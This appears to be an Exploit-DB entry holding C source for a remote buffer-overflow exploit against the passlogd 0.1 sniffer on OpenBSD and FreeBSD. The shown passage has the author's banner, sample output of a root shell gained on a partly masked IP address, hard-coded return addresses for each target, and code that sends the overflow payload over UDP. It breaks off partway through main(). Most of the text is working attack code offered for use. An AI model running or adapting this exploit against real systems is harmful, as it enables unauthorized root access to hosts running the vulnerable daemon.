Exploit-DB #22450
Description: Passlog Daemon 0.1 - 'SL_Parse' Remote Buffer Overflow (2)
Type: remote
Platform: unix
Date: 2003-04-02
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/7261/info
 
It has been reported that passlogd does not properly handle some types of input. Because of this, an attacker may be able to gain unauthorized access to hosts running the vulnerable software. 

/*
**
** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer
.
** [+] Exploit code: 0x82-Remote.XxxxBSD_passlogd.xpl.c
**
** [+] Description --
**
** FreeBSD includes passlogd-0.1d port:
** http://www.freebsd.org/cgi/ports.cgi?query=passlogd
**
** This exploit works OpenBSD and FreeBSD only.
** General user uses general socket exploit is possible.
**
** [+] Exploit --
** 
** exploit result: --
** 
** bash-2.04$ ./0x82-Remote.XxxxBSD_passlogd.xpl -h61.37.xxx.xx -t0
**
**  XxxxBSD passlogd sniffer remote buffer overflow root exploit
**                                                 by Xpl017Elz.
**
**  [0] Target: OpenBSD 3.0 GENERIC#94 i386
**  [1] Set socket.
**  [2] Make shellcode.
**  [3] Trying 61.37.xxx.xx:10000.
**  [*] Connected to 61.37.xxx.xx:10000.
**  [*] Executed shell successfully !
**
** OpenBSD testsub 3.0 GENERIC#94 i386
** uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operato
r), 20(staff), 31(guest)
** # exit
**  [*] Happy-Exploit
**
** bash-2.04$
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** This exploit is proof of concept. (Therefore, don't support 'Brute-force' mo
de.)
**
** P.S:
**
** There is reason that do not make integration code that all platform attacks 
are possible.
** Because there was no machine to test exploit.
** Think very regrettably. :-(
**
** But, people who help to me !!!
** I'm thankful very to them. :-)
**
** Greets: Korean Hackers, INetCop Security Team.
**
** Thank you.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

struct os {
        int num;
        char *ost;
        u_long shell;
        int l_sz;
};

#define Xpl017Elz x82
#define D_M (0)
#define ATK_SIZE (0x8282)

struct os plat[]=
{
        {
                0,"OpenBSD 3.0 GENERIC#94 i386",
                /* My OpenBSD box */
                0xdfbf9104,545
        },
        {
                1,"FreeBSD 4.6.2-RELEASE #0 i386",
                /* It's FreeBSD box :-) */
                0xbfbfaff8,545
        },
        {
                2,NULL,0,0
        }
};

#define TCP_CONN_SOCK (0)
#define UDP_CONN_SOCK (1)

void banrl();
int setsock(char *host,int port,int type);
void re_connt(int sock);
void send_recv_sh(int sock);
void usage(char *p_name);
int make_sh(u_long shcode,int l_sz,int type);
int main(int argc,char **argv)
{
        int sock,whgl,type=D_M;
#define ATK_PT (0x202)
        int atk_port=ATK_PT;
#define D_PORT (10000)
        int d_port=D_PORT;
#define LC_TEST "127.0.0.1" /* localhost */
        char host[0x82]=LC_TEST;
#ifdef T_ADDR_
#define SHELL 0x82828282 /* test */
#endif
        u_long shell=plat[type].shell;
        int l_sz=plat[type].l_sz;
        char *atk_mbuf=(char *)malloc(ATK_SIZE);

        (void)banrl();
        if(argc<2)
        {
                (void)usage(argv[D_M]);
        }

        while((whgl=getopt(argc,argv,"P:p:L:l:H:h:T:t:IiS:s:"))!=-1)
        {
                extern char *optarg;
                switch(whgl)
                {
                        case 'H':
                        case 'h':
                                memset((char *)host,D_M,sizeof(host));
                                strncpy(host,optarg,sizeof(host)-1);
                                break;

                        case 'P':
                        case 'p':
                                atk_port=atoi(optarg);
                                break;

                        case 'L':
                        case 'l':
                                l_sz=atoi(optarg);
                                break;

                        case 'T':
                        case 't':
                                type=atoi(optarg);
                                if(type>1)
                                        (void)usage(argv[D_M]);
                                else
                                {
                                        shell=plat[type].shell;
                                        l_sz=plat[type].l_sz;
                                }
                                break;

                        case 'S':
                        case 's':
                                shell=strtoul(optarg,NULL,NULL);
                                break;

                        case 'I':
                        case 'i':
                                (void)usage(argv[D_M]);
                                break;

                        case '?':
                                fprintf(stderr," Try `%s -i' for more informati
on.\n\n",argv[D_M]);
                                exit(-1);
                                break;
                }
        }

        fprintf(stdout," [0] Target: %s\n",plat[type].ost);
        fprintf(stdout," [1] Set socket.\n");
        sock=(int)setsock(host,atk_port,UDP_CONN_SOCK);
        {
                fprintf(stdout," [2] Make shellcode.\n");
                memset((char *)atk_mbuf,0,ATK_SIZE);
                strncpy(atk_mbuf,(char *)make_sh(shell,l_sz,type),ATK_SIZE-1);
                send(sock,atk_mbuf,strlen(atk_mbuf),0);

                memset((char *)atk_mbuf,0,ATK_SIZE);
                strncpy(atk_mbuf,"\n",strlen("\n"),0);
                send(sock,atk_mbuf,strlen(atk_mbuf),0);

                close(sock);
        }

        fprintf(stdout," [3] Trying %s:%d.\n"